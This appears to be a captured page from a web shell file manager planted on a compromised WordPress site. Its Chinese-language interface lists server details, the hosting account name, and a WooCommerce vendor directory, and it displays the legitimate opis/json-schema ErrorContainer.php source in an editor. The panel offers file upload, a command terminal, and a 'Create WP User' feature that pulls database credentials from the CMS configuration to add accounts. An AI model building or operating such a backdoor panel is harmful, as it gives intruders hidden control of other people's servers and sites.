Linux webm017.cluster130.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid x86_64
PHP/7.4.33
服务器IP :
10.130.20.17
& 您的IP :
216.73.216.193
域名 :
无法读取 [ /etc/named.conf ]
用户 :
koaigpw
上传
终端
新建文件
新建文件夹
Create WP User
登出
+
/
home
/
koaigpw
/
budomat.net.pl
/
wp-content
/
plugins
/
woocommerce
/
vendor
/
opis
/
json-schema
/
src
/
Errors
/
[ 返回根目录 ]
名称
大小
权限
修改时间
操作
..
-
-
-
CustomError.php
1.07 KB
-rw-r--r--
2026-03-03 00:17
ErrorContainer.php
3.00 KB
-rw-r--r--
2026-03-03 00:17
ErrorFormatter.php
12.37 KB
-rw-r--r--
2026-03-03 00:17
ValidationError.php
2.22 KB
-rw-r--r--
2026-03-03 00:17
>_
终端
关闭 ✕
输入 'help' 查看可用命令。
koaigpw@
>
新建文件
文件名
取消
创建
重命名
新名称
取消
重命名
Create WordPress User
Auto (baca dari file CMS)
Manual (isi kredensial DB)
代码编辑器 :
ErrorContainer.php
<?php /* ============================================================================ * Copyright 2020 Zindex Software * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. * ============================================================================ */ namespace Opis\JsonSchema\Errors; use Countable, Iterator; class ErrorContainer implements Countable, Iterator { protected int $maxErrors; /** @var ValidationError[] */ protected array $errors = []; /** * ErrorContainer constructor. * @param int $max_errors */ public function __construct(int $max_errors = 1) { if ($max_errors < 0) { $max_errors = PHP_INT_MAX; } elseif ($max_errors === 0) { $max_errors = 1; } $this->maxErrors = $max_errors; } /** * @return int */ public function maxErrors(): int { return $this->maxErrors; } /** * @param ValidationError $error * @return ErrorContainer */ public function add(ValidationError $error): self { $this->errors[] = $error; return $this; } /** * @return ValidationError[] */ public function all(): array { return $this->errors; } /** * @return ValidationError|null */ public function first(): ?ValidationError { if (!$this->errors) { return null; } return reset($this->errors); } /** * @return bool */ public function isFull(): bool { return count($this->errors) >= $this->maxErrors; } /** * @return bool */ public function isEmpty(): bool { return !$this->errors; } /** * @inheritDoc */ public function count(): int { return count($this->errors); } /** * @inheritDoc */ public function current(): ?ValidationError { return current($this->errors) ?: null; } /** * @inheritDoc */ #[\ReturnTypeWillChange] public function next(): ?ValidationError { return next($this->errors) ?: null; } /** * @inheritDoc */ public function key(): ?int { return key($this->errors); } /** * @inheritDoc */ public function valid(): bool { return key($this->errors) !== null; } /** * @inheritDoc */ #[\ReturnTypeWillChange] public function rewind(): ?ValidationError { return reset($this->errors) ?: null; } }
关闭
保存